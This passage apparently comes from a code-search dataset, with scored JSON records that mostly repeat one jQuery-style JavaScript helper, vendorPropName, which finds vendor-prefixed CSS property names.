capName=name[0].toUpperCase()+name.slice(1),i=cssPrefixes.length;i--;)if(name=cssPrefixes[i]+capName,name in emptyStyle)return name}", "title": "" }, { "docid": "14900ba6c0ef16c8bdb7a9685a39f133", "score": "0.75919604", "text": "function vendorPropName( name ) {\n\n // Shortcut for names that are not vendor prefixed\n if ( name in emptyStyle ) {\n return name;\n }\n\n // Check for vendor prefixed names\n var capName = name[ 0 ].toUpperCase() + name.slice( 1 ),\n i = cssPrefixes.length;\n\n while ( i-- ) {\n name = cssPrefixes[ i ] + capName;\n if ( name in emptyStyle ) {\n return name;\n }\n }\n }", "title": "" }, { "docid": "7bb84d6927309bfd324462c540fe6a01", "score": "0.7431494", "text": "function vendorPropName( name ) {\n\n // Shortcut for names that are not vendor prefixed\n if ( name in emptyStyle ) {\n return name;\n }\n\n // Check for vendor prefixed names\n var capName = name[ 0 ].toUpperCase() + name.slice( 1 ),\n i = cssPrefixes.length;\n\n while ( i-- ) {\n name = cssPrefixes[ i ] + capName;\n if ( name in emptyStyle ) {\n return name;\n }\n }\n }", "title": "" }, { "docid": "7bb84d6927309bfd324462c540fe6a01", "score": "0.7431494", "text": "function vendorPropName( name ) {\n\n // Shortcut for names that are not vendor prefixed\n if ( name in emptyStyle ) {\n return name;\n }\n\n // Check for vendor prefixed names\n var capName = name[ 0 ].toUpperCase() + name.slice( 1 ),\n i = cssPrefixes.length;\n\n while ( i-- ) {\n name = cssPrefixes[ i ] + capName;\n if ( name in emptyStyle ) {\n return name;\n }\n }\n }", "title": "" }, { "docid": "72e7f3119b7f556cf9bc1bd2a200585d", "score": "0.7422895", "text": "function vendorPropName( name ) {\n \n // Shortcut for names that are not vendor prefixed\n if ( name in emptyStyle ) {\n return name;\n }\n \n // Check for vendor prefixed names\n var capName = name[ 0 ].toUpperCase() + name.slice( 1 ),\n i = cssPrefixes.length;\n \n while ( i-- ) {\n name = cssPrefixes[ i ] + capName;\n if ( name in emptyStyle ) {\n return name;\n }\n }\n }", "title": "" }, { "docid": "e46283fe696c0e0958d0701487ea4283", "score": "0.740033", "text": "function vendorPropName( name ) {\n\n\t// shortcut for names that are not vendor prefixed\n\tif ( name in emptyStyle ) {\n\t\treturn name;\n\t}\n\n\t// check for vendor prefixed names\n\tvar capName = name.charAt( 0 ).toUpperCase() + name.slice( 1 ),\n\t\ti = cssPrefixes.length;\n\n\twhile ( i-- ) {\n\t\tname = cssPrefixes[ i ] + capName;\n\t\tif ( name in emptyStyle ) {\n\t\t\treturn name;\n\t\t}\n\t}\n}", "title": "" }, { "docid": "e46283fe696c0e0958d0701487ea4283", "score": "0.740033", "text": "function vendorPropName( name ) {\n\n\t// shortcut for names that are not vendor prefixed\n\tif ( name in emptyStyle ) {\n\t\treturn name;\n\t}\n\n\t// check for vendor prefixed names\n\tvar capName = name.charAt( 0 ).toUpperCase() + name.slice( 1 ),\n\t\ti = cssPrefixes.length;\n\n\twhile ( i-- ) {\n\t\tname = cssPrefixes[ i ] + capName;\n\t\tif ( name in emptyStyle ) {\n\t\t\treturn name;\n\t\t}\n\t}\n}", "title": "" }, { "docid": "e46283fe696c0e0958d0701487ea4283", "score": "0.740033", "text": "function vendorPropName( name ) {\n\n\t// shortcut for names that are not vendor prefixed\n\tif ( name in emptyStyle ) {\n\t\treturn name;\n\t}\n\n\t// check for vendor prefixed names\n\tvar capName = name.charAt( 0 ).toUpperCase() + name.slice( 1 ),\n\t\ti = cssPrefixes.length;\n\n\twhile ( i-- ) {\n\t\tname = cssPrefixes[ i ] + capName;\n\t\tif ( name in emptyStyle ) {\n\t\t\treturn name;\n\t\t}\n\t}\n}", "title": "" }, { "docid": "e46283fe696c0e0958d0701487ea4283", "score": "0.740033", "text": "function vendorPropName( name ) {\n\n\t// shortcut for names that are not vendor prefixed\n\tif ( name in emptyStyle ) {\n\t\treturn name;\n\t}\n\n\t// check for vendor prefixed names\n\tvar capName = name.charAt( 0 ).toUpperCase() + name.slice( 1 ),\n\t\ti = cssPrefixes.length;\n\n\twhile ( i-- ) {\n\t\tname = cssPrefixes[ i ] + capName;\n\t\tif ( name in emptyStyle ) {\n\t\t\treturn name;\n\t\t}\n\t}\n}", "title": "" }, { "docid": "e46283fe696c0e0958d0701487ea4283", "score": "0.740033", "text": "function vendorPropName( name ) {\n\n\t// shortcut for names that are not vendor prefixed\n\tif ( name in emptyStyle ) {\n\t\treturn name;\n\t}\n\n\t// check for vendor prefixed names\n\tvar capName = name.charAt( 0 ).toUpperCase() + name.slice( 1 ),\n\t\ti = cssPrefixes.length;\n\n\twhile ( i-- ) {\n\t\tname = cssPrefixes[ i ] + capName;\n\t\tif ( name in emptyStyle ) {\n\t\t\treturn name;\n\t\t}\n\t}\n}", "title": "" }, { "docid": "e46283fe696c0e0958d0701487ea4283", "score": "0.740033", "text": "function vendorPropName( name ) {\n\n\t// shortcut for names that are not vendor prefixed\n\tif ( name in emptyStyle ) {\n\t\treturn name;\n\t}\n\n\t// check for vendor prefixed names\n\tvar capName = name.charAt( 0 ).toUpperCase() + name.slice( 1 ),\n\t\ti = cssPrefixes.length;\n\n\twhile ( i-- ) {\n\t\tname = cssPrefixes[ i ] + capName;\n\t\tif ( name in emptyStyle ) {\n\t\t\treturn name;\n\t\t}\n\t}\n}", "title": "" }, { "docid": "e46283fe696c0e0958d0701487ea4283", "score": "0.740033", "text": "function vendorPropName( name ) {\n\n\t// shortcut for names that are not vendor prefixed\n\tif ( name in emptyStyle ) {\n\t\treturn name;\n\t}\n\n\t// check for vendor prefixed names\n\tvar capName = name.charAt( 0 ).toUpperCase() + name.slice( 1 ),\n\t\ti = cssPrefixes.length;\n\n\twhile ( i-- ) {\n\t\tname = cssPrefixes[ i ] + capName;\n\t\tif ( name in emptyStyle ) {\n\t\t\treturn name;\n\t\t}\n\t}\n}", "title": "" }, { "docid": "e46283fe696c0e0958d0701487ea4283", "score": "0.740033", "text": "function vendorPropName( name ) {\n\n\t// shortcut for names that are not vendor prefixed\n\tif ( name in emptyStyle ) {\n\t\treturn name;\n\t}\n\n\t// check for vendor prefixed names\n\tvar capName = name.charAt( 0 ).toUpperCase() + name.slice( 1 ),\n\t\ti = cssPrefixes.length;\n\n\twhile ( i-- ) {\n\t\tname = cssPrefixes[ i ] + capName;\n\t\tif ( name in emptyStyle ) {\n\t\t\treturn name;\n\t\t}\n\t}\n}", "title": "" }, { "docid": "e46283fe696c0e0958d0701487ea4283", "score": "0.740033", "text": "function vendorPropName( name ) {\n\n\t// shortcut for names that are not vendor prefixed\n\tif ( name in emptyStyle ) {\n\t\treturn name;\n\t}\n\n\t// check for vendor prefixed names\n\tvar capName = name.charAt( 0 ).toUpperCase() + name.slice( 1 ),\n\t\ti = cssPrefixes.length;\n\n\twhile ( i-- ) {\n\t\tname = cssPrefixes[ i ] + capName;\n\t\tif ( name in emptyStyle ) {\n\t\t\treturn name;\n\t\t}\n\t}\n}", "title": "" }, { "docid": "e46283fe696c0e0958d0701487ea4283", "score": "0.740033", "text": "function vendorPropName( name ) {\n\n\t// shortcut for names that are not vendor prefixed\n\tif ( name in emptyStyle ) {\n\t\treturn name;\n\t}\n\n\t// check for vendor prefixed names\n\tvar capName = name.charAt( 0 ).toUpperCase() + name.slice( 1 ),\n\t\ti = cssPrefixes.length;\n\n\twhile ( i-- ) {\n\t\tname = cssPrefixes[ i ] + capName;\n\t\tif ( name in emptyStyle ) {\n\t\t\treturn name;\n\t\t}\n\t}\n}", "title": "" }, { "docid": "e46283fe696c0e0958d0701487ea4283", "score": "0.740033", "text": "function vendorPropName( name ) {\n\n\t// shortcut for names that are not vendor prefixed\n\tif ( name in emptyStyle ) {\n\t\treturn name;\n\t}\n\n\t// check for vendor prefixed names\n\tvar capName = name.charAt( 0 ).toUpperCase() + name.slice( 1 ),\n\t\ti = cssPrefixes.length;\n\n\twhile ( i-- ) {\n\t\tname = cssPrefixes[ i ] + capName;\n\t\tif ( name in emptyStyle ) {\n\t\t\treturn name;\n\t\t}\n\t}\n}", "title": "" }, { "docid": "e46283fe696c0e0958d0701487ea4283", "score": "0.740033", "text": "function vendorPropName( name ) {\n\n\t// shortcut for names that are not vendor prefixed\n\tif ( name in emptyStyle ) {\n\t\treturn name;\n\t}\n\n\t// check for vendor prefixed names\n\tvar capName = name.charAt( 0 ).toUpperCase() + name.slice( 1 ),\n\t\ti = cssPrefixes.length;\n\n\twhile ( i-- ) {\n\t\tname = cssPrefixes[ i ] + capName;\n\t\tif ( name in emptyStyle ) {\n\t\t\treturn name;\n\t\t}\n\t}\n}", "title": "" }, { "docid": "e46283fe696c0e0958d0701487ea4283", "score": "0.740033", "text": "function vendorPropName( name ) {\n\n\t// shortcut for names that are not vendor prefixed\n\tif ( name in emptyStyle ) {\n\t\treturn name;\n\t}\n\n\t// check for vendor prefixed names\n\tvar capName = name.charAt( 0 ).toUpperCase() + name.slice( 1 ),\n\t\ti = cssPrefixes.length;\n\n\twhile ( i-- ) {\n\t\tname = cssPrefixes[ i ] + capName;\n\t\tif ( name in emptyStyle ) {\n\t\t\treturn name;\n\t\t}\n\t}\n}", "title": "" }, { "docid": "e46283fe696c0e0958d0701487ea4283", "score": "0.740033", "text": "function vendorPropName( name ) {\n\n\t// shortcut for names that are not vendor prefixed\n\tif ( name in emptyStyle ) {\n\t\treturn name;\n\t}\n\n\t// check for vendor prefixed names\n\tvar capName = name.charAt( 0 ).toUpperCase() + name.slice( 1 ),\n\t\ti = cssPrefixes.length;\n\n\twhile ( i-- ) {\n\t\tname = cssPrefixes[ i ] + capName;\n\t\tif ( name in emptyStyle ) {\n\t\t\treturn name;\n\t\t}\n\t}\n}", "title": "" }, { "docid": "e46283fe696c0e0958d0701487ea4283", "score": "0.740033", "text": "function vendorPropName( name ) {\n\n\t// shortcut for names that are not vendor prefixed\n\tif ( name in emptyStyle ) {\n\t\treturn name;\n\t}\n\n\t// check for vendor prefixed names\n\tvar capName = name.charAt( 0 ).toUpperCase() + name.slice( 1 ),\n\t\ti = cssPrefixes.length;\n\n\twhile ( i-- ) {\n\t\tname = cssPrefixes[ i ] + capName;\n\t\tif ( name in emptyStyle ) {\n\t\t\treturn name;\n\t\t}\n\t}\n}", "title": "" }, { "docid": "e46283fe696c0e0958d0701487ea4283", "score": "0.740033", "text": "function vendorPropName( name ) {\n\n\t// shortcut for names that are not vendor prefixed\n\tif ( name in emptyStyle ) {\n\t\treturn name;\n\t}\n\n\t// check for vendor prefixed names\n\tvar capName = name.charAt( 0 ).toUpperCase() + name.slice( 1 ),\n\t\ti = cssPrefixes.length;\n\n\twhile ( i-- ) {\n\t\tname = cssPrefixes[ i ] + capName;\n\t\tif ( name in emptyStyle ) {\n\t\t\treturn name;\n\t\t}\n\t}\n}", "title": "" }, { "docid": "e46283fe696c0e0958d0701487ea4283", "score": "0.740033", "text": "function vendorPropName( name ) {\n\n\t// shortcut for names that are not vendor prefixed\n\tif ( name in emptyStyle ) {\n\t\treturn name;\n\t}\n\n\t// check for vendor prefixed names\n\tvar capName = name.charAt( 0 ).toUpperCase() + name.slice( 1 ),\n\t\ti = cssPrefixes.length;\n\n\twhile ( i-- ) {\n\t\tname = cssPrefixes[ i ] + capName;\n\t\tif ( name in emptyStyle ) {\n\t\t\treturn name;\n\t\t}\n\t}\n}", "title": "" }, { "docid": "e46283fe696c0e0958d0701487ea4283", "score": "0.740033", "text": "function vendorPropName( name ) {\n\n\t// shortcut for names that are not vendor prefixed\n\tif ( name in emptyStyle ) {\n\t\treturn name;\n\t}\n\n\t// check for vendor prefixed names\n\tvar capName = name.charAt( 0 ).toUpperCase() + name.slice( 1 ),\n\t\ti = cssPrefixes.length;\n\n\twhile ( i-- ) {\n\t\tname = cssPrefixes[ i ] + capName;\n\t\tif ( name in emptyStyle ) {\n\t\t\treturn name;\n\t\t}\n\t}\n}", "title": "" }, { "docid": "e46283fe696c0e0958d0701487ea4283", "score": "0.740033", "text": "function vendorPropName( name ) {\n\n\t// shortcut for names that are not vendor prefixed\n\tif ( name in emptyStyle ) {\n\t\treturn name;\n\t}\n\n\t// check for vendor prefixed names\n\tvar capName = name.charAt( 0 ).toUpperCase() + name.slice( 1 ),\n\t\ti = cssPrefixes.length;\n\n\twhile ( i-- ) {\n\t\tname = cssPrefixes[ i ] + capName;\n\t\tif ( name in emptyStyle ) {\n\t\t\treturn name;\n\t\t}\n\t}\n}", "title": "" }, { "docid": "e46283fe696c0e0958d0701487ea4283", "score": "0.740033", "text": "function vendorPropName( name ) {\n\n\t// shortcut for names that are not vendor prefixed\n\tif ( name in emptyStyle ) {\n\t\treturn name;\n\t}\n\n\t// check for vendor prefixed names\n\tvar capName = name.charAt( 0 ).toUpperCase() + name.slice( 1 ),\n\t\ti = cssPrefixes.length;\n\n\twhile ( i-- ) {\n\t\tname = cssPrefixes[ i ] + capName;\n\t\tif ( name in emptyStyle ) {\n\t\t\treturn name;\n\t\t}\n\t}\n}", "title": "" }, { "docid": "e46283fe696c0e0958d0701487ea4283", "score": "0.740033", "text": "function vendorPropName( name ) {\n\n\t// shortcut for names that are not vendor prefixed\n\tif ( name in emptyStyle ) {\n\t\treturn name;\n\t}\n\n\t// check for vendor prefixed names\n\tvar capName = name.charAt( 0 ).toUpperCase() + name.slice( 1 ),\n\t\ti = cssPrefixes.length;\n\n\twhile ( i-- ) {\n\t\tname = cssPrefixes[ i ] + capName;\n\t\tif ( name in emptyStyle ) {\n\t\t\treturn name;\n\t\t}\n\t}\n}", "title": "" }, { "docid": "e46283fe696c0e0958d0701487ea4283", "score": "0.740033", "text": "function vendorPropName( name ) {\n\n\t// shortcut for names that are not vendor prefixed\n\tif ( name in emptyStyle ) {\n\t\treturn name;\n\t}\n\n\t// check for vendor prefixed names\n\tvar capName = name.charAt( 0 ).toUpperCase() + name.slice( 1 ),\n\t\ti = cssPrefixes.length;\n\n\twhile ( i-- ) {\n\t\tname = cssPrefixes[ i ] + capName;\n\t\tif ( name in emptyStyle ) {\n\t\t\treturn name;\n\t\t}\n\t}\n}", "title": "" }, { "docid": "e46283fe696c0e0958d0701487ea4283", "score": "0.740033", "text": "function vendorPropName( name ) {\n\n\t// shortcut for names that are not vendor prefixed\n\tif ( name in emptyStyle ) {\n\t\treturn name;\n\t}\n\n\t// check for vendor prefixed names\n\tvar capName = name.charAt( 0 ).toUpperCase() + name.slice( 1 ),\n\t\ti = cssPrefixes.length;\n\n\twhile ( i-- ) {\n\t\tname = cssPrefixes[ i ] + capName;\n\t\tif ( name in emptyStyle ) {\n\t\t\treturn name;\n\t\t}\n\t}\n}", "title": "" }, { "docid": "e46283fe696c0e0958d0701487ea4283", "score": "0.740033", "text": "function vendorPropName( name ) {\n\n\t// shortcut for names that are not vendor prefixed\n\tif ( name in emptyStyle ) {\n\t\treturn name;\n\t}\n\n\t// check for vendor prefixed names\n\tvar capName = name.charAt( 0 ).toUpperCase() + name.slice( 1 ),\n\t\ti = cssPrefixes.length;\n\n\twhile ( i-- ) {\n\t\tname = cssPrefixes[ i ] + capName;\n\t\tif ( name in emptyStyle ) {\n\t\t\treturn name;\n\t\t}\n\t}\n}", "title": "" }, { "docid": "e46283fe696c0e0958d0701487ea4283", "score": "0.740033", "text": "function vendorPropName( name ) {\n\n\t// shortcut for names that are not vendor prefixed\n\tif ( name in emptyStyle ) {\n\t\treturn name;\n\t}\n\n\t// check for vendor prefixed names\n\tvar capName = name.charAt( 0 ).toUpperCase() + name.slice( 1 ),\n\t\ti = cssPrefixes.length;\n\n\twhile ( i-- ) {\n\t\tname = cssPrefixes[ i ] + capName;\n\t\tif ( name in emptyStyle ) {\n\t\t\treturn name;\n\t\t}\n\t}\n}", "title": "" }, { "docid": "e46283fe696c0e0958d0701487ea4283", "score": "0.740033", "text": "function vendorPropName( name ) {\n\n\t// shortcut for names that are not vendor prefixed\n\tif ( name in emptyStyle ) {\n\t\treturn name;\n\t}\n\n\t// check for vendor prefixed names\n\tvar capName = name.charAt( 0 ).toUpperCase() + name.slice( 1 ),\n\t\ti = cssPrefixes.length;\n\n\twhile ( i-- ) {\n\t\tname = cssPrefixes[ i ] + capName;\n\t\tif ( name in emptyStyle ) {\n\t\t\treturn name;\n\t\t}\n\t}\n}", "title": "" }, { "docid": "e46283fe696c0e0958d0701487ea4283", "score": "0.740033", "text": "function vendorPropName( name ) {\n\n\t// shortcut for names that are not vendor prefixed\n\tif ( name in emptyStyle ) {\n\t\treturn name;\n\t}\n\n\t// check for vendor prefixed names\n\tvar capName = name.charAt( 0 ).toUpperCase() + name.slice( 1 ),\n\t\ti = cssPrefixes.length;\n\n\twhile ( i-- ) {\n\t\tname = cssPrefixes[ i ] + capName;\n\t\tif ( name in emptyStyle ) {\n\t\t\treturn name;\n\t\t}\n\t}\n}", "title": "" }, { "docid": "e46283fe696c0e0958d0701487ea4283", "score": "0.740033", "text": "function vendorPropName( name ) {\n\n\t// shortcut for names that are not vendor prefixed\n\tif ( name in emptyStyle ) {\n\t\treturn name;\n\t}\n\n\t// check for vendor prefixed names\n\tvar capName = name.charAt( 0 ).toUpperCase() + name.slice( 1 ),\n\t\ti = cssPrefixes.length;\n\n\twhile ( i-- ) {\n\t\tname = cssPrefixes[ i ] + capName;\n\t\tif ( name in emptyStyle ) {\n\t\t\treturn name;\n\t\t}\n\t}\n}", "title": "" }, { "docid": "e46283fe696c0e0958d0701487ea4283", "score": "0.740033", "text": "function vendorPropName( name ) {\n\n\t// shortcut for names that are not vendor prefixed\n\tif ( name in emptyStyle ) {\n\t\treturn name;\n\t}\n\n\t// check for vendor prefixed names\n\tvar capName = name.charAt( 0 ).toUpperCase() + name.slice( 1 ),\n\t\ti = cssPrefixes.length;\n\n\twhile ( i-- ) {\n\t\tname = cssPrefixes[ i ] + capName;\n\t\tif ( name in emptyStyle ) {\n\t\t\treturn name;\n\t\t}\n\t}\n}", "title": "" }, { "docid": "e46283fe696c0e0958d0701487ea4283", "score": "0.740033", "text": "function vendorPropName( name ) {\n\n\t// shortcut for names that are not vendor prefixed\n\tif ( name in emptyStyle ) {\n\t\treturn name;\n\t}\n\n\t// check for vendor prefixed names\n\tvar capName = name.charAt( 0 ).toUpperCase() + name.slice( 1 ),\n\t\ti = cssPrefixes.length;\n\n\twhile ( i-- ) {\n\t\tname = cssPrefixes[ i ] + capName;\n\t\tif ( name in emptyStyle ) {\n\t\t\treturn name;\n\t\t}\n\t}\n}", "title": "" }, { "docid": "e46283fe696c0e0958d0701487ea4283", "score": "0.740033", "text": "function vendorPropName( name ) {\n\n\t// shortcut for names that are not vendor prefixed\n\tif ( name in emptyStyle ) {\n\t\treturn name;\n\t}\n\n\t// check for vendor prefixed names\n\tvar capName = name.charAt( 0 ).toUpperCase() + name.slice( 1 ),\n\t\ti = cssPrefixes.length;\n\n\twhile ( i-- ) {\n\t\tname = cssPrefixes[ i ] + capName;\n\t\tif ( name in emptyStyle ) {\n\t\t\treturn name;\n\t\t}\n\t}\n}", "title": "" }, { "docid": "e46283fe696c0e0958d0701487ea4283", "score": "0.740033", "text": "function vendorPropName( name ) {\n\n\t// shortcut for names that are not vendor prefixed\n\tif ( name in emptyStyle ) {\n\t\treturn name;\n\t}\n\n\t// check for vendor prefixed names\n\tvar capName = name.charAt( 0 ).toUpperCase() + name.slice( 1 ),\n\t\ti = cssPrefixes.length;\n\n\twhile ( i-- ) {\n\t\tname = cssPrefixes[ i ] + capName;\n\t\tif ( name in emptyStyle ) {\n\t\t\treturn name;\n\t\t}\n\t}\n}", "title": "" }, { "docid": "e46283fe696c0e0958d0701487ea4283", "score": "0.740033", "text": "function vendorPropName( name ) {\n\n\t// shortcut for names that are not vendor prefixed\n\tif ( name in emptyStyle ) {\n\t\treturn name;\n\t}\n\n\t// check for vendor prefixed names\n\tvar capName = name.charAt( 0 ).toUpperCase() + name.slice( 1 ),\n\t\ti = cssPrefixes.length;\n\n\twhile ( i-- ) {\n\t\tname = cssPrefixes[ i ] + capName;\n\t\tif ( name in emptyStyle ) {\n\t\t\treturn name;\n\t\t}\n\t}\n}", "title": "" }, { "docid": "e46283fe696c0e0958d0701487ea4283", "score": "0.740033", "text": "function vendorPropName( name ) {\n\n\t// shortcut for names that are not vendor prefixed\n\tif ( name in emptyStyle ) {\n\t\treturn name;\n\t}\n\n\t// check for vendor prefixed names\n\tvar capName = name.charAt( 0 ).toUpperCase() + name.slice( 1 ),\n\t\ti = cssPrefixes.length;\n\n\twhile ( i-- ) {\n\t\tname = cssPrefixes[ i ] + capName;\n\t\tif ( name in emptyStyle ) {\n\t\t\treturn name;\n\t\t}\n\t}\n}", "title": "" }, { "docid": "e46283fe696c0e0958d0701487ea4283", "score": "0.740033", "text": "function vendorPropName( name ) {\n\n\t// shortcut for names that are not vendor prefixed\n\tif ( name in emptyStyle ) {\n\t\treturn name;\n\t}\n\n\t// check for vendor prefixed names\n\tvar capName = name.charAt( 0 ).toUpperCase() + name.slice( 1 ),\n\t\ti = cssPrefixes.length;\n\n\twhile ( i-- ) {\n\t\tname = cssPrefixes[ i ] + capName;\n\t\tif ( name in emptyStyle ) {\n\t\t\treturn name;\n\t\t}\n\t}\n}", "title": "" }, { "docid": "e46283fe696c0e0958d0701487ea4283", "score": "0.740033", "text": "function vendorPropName( name ) {\n\n\t// shortcut for names that are not vendor prefixed\n\tif ( name in emptyStyle ) {\n\t\treturn name;\n\t}\n\n\t// check for vendor prefixed names\n\tvar capName = name.charAt( 0 ).toUpperCase() + name.slice( 1 ),\n\t\ti = cssPrefixes.length;\n\n\twhile ( i-- ) {\n\t\tname = cssPrefixes[ i ] + capName;\n\t\tif ( name in emptyStyle ) {\n\t\t\treturn name;\n\t\t}\n\t}\n}", "title": "" }, { "docid": "e46283fe696c0e0958d0701487ea4283", "score": "0.740033", "text": "function vendorPropName( name ) {\n\n\t// shortcut for names that are not vendor prefixed\n\tif ( name in emptyStyle ) {\n\t\treturn name;\n\t}\n\n\t// check for vendor prefixed names\n\tvar capName = name.charAt( 0 ).toUpperCase() + name.slice( 1 ),\n\t\ti = cssPrefixes.length;\n\n\twhile ( i-- ) {\n\t\tname = cssPrefixes[ i ] + capName;\n\t\tif ( name in emptyStyle ) {\n\t\t\treturn name;\n\t\t}\n\t}\n}", "title": "" }, { "docid": "e46283fe696c0e0958d0701487ea4283", "score": "0.740033", "text": "function vendorPropName( name ) {\n\n\t// shortcut for names that are not vendor prefixed\n\tif ( name in emptyStyle ) {\n\t\treturn name;\n\t}\n\n\t// check for vendor prefixed names\n\tvar capName = name.charAt( 0 ).toUpperCase() + name.slice( 1 ),\n\t\ti = cssPrefixes.length;\n\n\twhile ( i-- ) {\n\t\tname = cssPrefixes[ i ] + capName;\n\t\tif ( name in emptyStyle ) {\n\t\t\treturn name;\n\t\t}\n\t}\n}", "title": "" }, { "docid": "e46283fe696c0e0958d0701487ea4283", "score": "0.740033", "text": "function vendorPropName( name ) {\n\n\t// shortcut for names that are not vendor prefixed\n\tif ( name in emptyStyle ) {\n\t\treturn name;\n\t}\n\n\t// check for vendor prefixed names\n\tvar capName = name.charAt( 0 ).toUpperCase() + name.slice( 1 ),\n\t\ti = cssPrefixes.length;\n\n\twhile ( i-- ) {\n\t\tname = cssPrefixes[ i ] + capName;\n\t\tif ( name in emptyStyle ) {\n\t\t\treturn name;\n\t\t}\n\t}\n}", "title": "" }, { "docid": "e46283fe696c0e0958d0701487ea4283", "score": "0.740033", "text": "function vendorPropName( name ) {\n\n\t// shortcut for names that are not vendor prefixed\n\tif ( name in emptyStyle ) {\n\t\treturn name;\n\t}\n\n\t// check for vendor prefixed names\n\tvar capName = name.charAt( 0 ).toUpperCase() + name.slice( 1 ),\n\t\ti = cssPrefixes.length;\n\n\twhile ( i-- ) {\n\t\tname = cssPrefixes[ i ] + capName;\n\t\tif ( name in emptyStyle ) {\n\t\t\treturn name;\n\t\t}\n\t}\n}", "title": "" }, { "docid": "e46283fe696c0e0958d0701487ea4283", "score": "0.740033", "text": "function vendorPropName( name ) {\n\n\t// shortcut for names that are not vendor prefixed\n\tif ( name in emptyStyle ) {\n\t\treturn name;\n\t}\n\n\t// check for vendor prefixed names\n\tvar capName = name.charAt( 0 ).toUpperCase() + name.slice( 1 ),\n\t\ti = cssPrefixes.length;\n\n\twhile ( i-- ) {\n\t\tname = cssPrefixes[ i ] + capName;\n\t\tif ( name in emptyStyle ) {\n\t\t\treturn name;\n\t\t}\n\t}\n}", "title": "" }, { "docid": "e46283fe696c0e0958d0701487ea4283", "score": "0.740033", "text": "function vendorPropName( name ) {\n\n\t// shortcut for names that are not vendor prefixed\n\tif ( name in emptyStyle ) {\n\t\treturn name;\n\t}\n\n\t// check for vendor prefixed names\n\tvar capName = name.charAt( 0 ).toUpperCase() + name.slice( 1 ),\n\t\ti = cssPrefixes.length;\n\n\twhile ( i-- ) {\n\t\tname = cssPrefixes[ i ] + capName;\n\t\tif ( name in emptyStyle ) {\n\t\t\treturn name;\n\t\t}\n\t}\n}", "title": "" }, { "docid": "e46283fe696c0e0958d0701487ea4283", "score": "0.740033", "text": "function vendorPropName( name ) {\n\n\t// shortcut for names that are not vendor prefixed\n\tif ( name in emptyStyle ) {\n\t\treturn name;\n\t}\n\n\t// check for vendor prefixed names\n\tvar capName = name.charAt( 0 ).toUpperCase() + name.slice( 1 ),\n\t\ti = cssPrefixes.length;\n\n\twhile ( i-- ) {\n\t\tname = cssPrefixes[ i ] + capName;\n\t\tif ( name in emptyStyle ) {\n\t\t\treturn name;\n\t\t}\n\t}\n}", "title": "" }, { "docid": "e46283fe696c0e0958d0701487ea4283", "score": "0.740033", "text": "function vendorPropName( name ) {\n\n\t// shortcut for names that are not vendor prefixed\n\tif ( name in emptyStyle ) {\n\t\treturn name;\n\t}\n\n\t// check for vendor prefixed names\n\tvar capName = name.charAt( 0 ).toUpperCase() + name.slice( 1 ),\n\t\ti = cssPrefixes.length;\n\n\twhile ( i-- ) {\n\t\tname = cssPrefixes[ i ] + capName;\n\t\tif ( name in emptyStyle ) {\n\t\t\treturn name;\n\t\t}\n\t}\n}", "title": "" }, { "docid": "e46283fe696c0e0958d0701487ea4283", "score": "0.740033", "text": "function vendorPropName( name ) {\n\n\t// shortcut for names that are not vendor prefixed\n\tif ( name in emptyStyle ) {\n\t\treturn name;\n\t}\n\n\t// check for vendor prefixed names\n\tvar capName = name.charAt( 0 ).toUpperCase() + name.slice( 1 ),\n\t\ti = cssPrefixes.length;\n\n\twhile ( i-- ) {\n\t\tname = cssPrefixes[ i ] + capName;\n\t\tif ( name in emptyStyle ) {\n\t\t\treturn name;\n\t\t}\n\t}\n}", "title": "" }, { "docid": "e46283fe696c0e0958d0701487ea4283", "score": "0.740033", "text": "function vendorPropName( name ) {\n\n\t// shortcut for names that are not vendor prefixed\n\tif ( name in emptyStyle ) {\n\t\treturn name;\n\t}\n\n\t// check for vendor prefixed names\n\tvar capName = name.charAt( 0 ).toUpperCase() + name.slice( 1 ),\n\t\ti = cssPrefixes.length;\n\n\twhile ( i-- ) {\n\t\tname = cssPrefixes[ i ] + capName;\n\t\tif ( name in emptyStyle ) {\n\t\t\treturn name;\n\t\t}\n\t}\n}", "title": "" }, { "docid": "e46283fe696c0e0958d0701487ea4283", "score": "0.740033", "text": "function vendorPropName( name ) {\n\n\t// shortcut for names that are not vendor prefixed\n\tif ( name in emptyStyle ) {\n\t\treturn name;\n\t}\n\n\t// check for vendor prefixed names\n\tvar capName = name.charAt( 0 ).toUpperCase() + name.slice( 1 ),\n\t\ti = cssPrefixes.length;\n\n\twhile ( i-- ) {\n\t\tname = cssPrefixes[ i ] + capName;\n\t\tif ( name in emptyStyle ) {\n\t\t\treturn name;\n\t\t}\n\t}\n}", "title": "" }, { "docid": "e46283fe696c0e0958d0701487ea4283", "score": "0.740033", "text": "function vendorPropName( name ) {\n\n\t// shortcut for names that are not vendor prefixed\n\tif ( name in emptyStyle ) {\n\t\treturn name;\n\t}\n\n\t// check for vendor prefixed names\n\tvar capName = name.charAt( 0 ).toUpperCase() + name.slice( 1 ),\n\t\ti = cssPrefixes.length;\n\n\twhile ( i-- ) {\n\t\tname = cssPrefixes[ i ] + capName;\n\t\tif ( name in emptyStyle ) {\n\t\t\treturn name;\n\t\t}\n\t}\n}", "title": "" }, { "docid": "e46283fe696c0e0958d0701487ea4283", "score": "0.740033", "text": "function vendorPropName( name ) {\n\n\t// shortcut for names that are not vendor prefixed\n\tif ( name in emptyStyle ) {\n\t\treturn name;\n\t}\n\n\t// check for vendor prefixed names\n\tvar capName = name.charAt( 0 ).toUpperCase() + name.slice( 1 ),\n\t\ti = cssPrefixes.length;\n\n\twhile ( i-- ) {\n\t\tname = cssPrefixes[ i ] + capName;\n\t\tif ( name in emptyStyle ) {\n\t\t\treturn name;\n\t\t}\n\t}\n}", "title": "" }, { "docid": "e46283fe696c0e0958d0701487ea4283", "score": "0.740033", "text": "function vendorPropName( name ) {\n\n\t// shortcut for names that are not vendor prefixed\n\tif ( name in emptyStyle ) {\n\t\treturn name;\n\t}\n\n\t// check for vendor prefixed names\n\tvar capName = name.charAt( 0 ).toUpperCase() + name.slice( 1 ),\n\t\ti = cssPrefixes.length;\n\n\twhile ( i-- ) {\n\t\tname = cssPrefixes[ i ] + capName;\n\t\tif ( name in emptyStyle ) {\n\t\t\treturn name;\n\t\t}\n\t}\n}", "title": "" }, { "docid": "e46283fe696c0e0958d0701487ea4283", "score": "0.740033", "text": "function vendorPropName( name ) {\n\n\t// shortcut for names that are not vendor prefixed\n\tif ( name in emptyStyle ) {\n\t\treturn name;\n\t}\n\n\t// check for vendor prefixed names\n\tvar capName = name.charAt( 0 ).toUpperCase() + name.slice( 1 ),\n\t\ti = cssPrefixes.length;\n\n\twhile ( i-- ) {\n\t\tname = cssPrefixes[ i ] + capName;\n\t\tif ( name in emptyStyle ) 